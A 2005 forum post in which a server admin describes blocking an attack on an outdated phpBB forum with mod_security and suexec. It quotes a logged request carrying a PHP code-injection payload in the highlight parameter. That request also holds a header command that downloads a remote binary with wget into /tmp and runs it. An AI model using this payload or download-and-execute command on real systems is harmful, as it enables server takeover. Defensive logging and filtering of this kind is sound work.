Yeah, it looks like there's (yet another) phpBB bug. The site that's being attacked is on 2.0.15, I know the latest is 2.0.16 and I've told the admin he has to update it ASAP.
I've enabled suexec, phpsuexec and mod_security. Actually, mod_security was already installed, I just tightened it up a bit. And it looks like I've stopped the attack for the time being:
Quote:
========================================
Request: 69.58.0.69 - - [18/Jul/2005:22:10:22 -0400] "GET /forums/viewtopic.php?t=535&view=next&highlight='.system(g etenv(HTTP_PHP)).' HTTP/1.0" 403 632
Handler: server-parsed
----------------------------------------
GET /forums/viewtopic.php?t=535&view=next&highlight='.system(g etenv(HTTP_PHP)).' HTTP/1.0
Accept: */*
Host: www.....com
PHP: cd /tmp;wget www.nordicfiber.com/~racer/libs;mv libs bash;chmod 777 bash;./bash
User-Agent: Mozilla/4.0
mod_security-message: Access denied with code 403. Pattern match "'" at THE_REQUEST.
mod_security-action: 403
HTTP/1.0 403 Forbidden
Connection: close
Content-Type: text/html
|
I tightened it up a little too much, a user on another site PM'd me to say they couldn't post at all. I was trapping " ' ", which was no good, now I've got it looking for ".system" (among others). That should do it.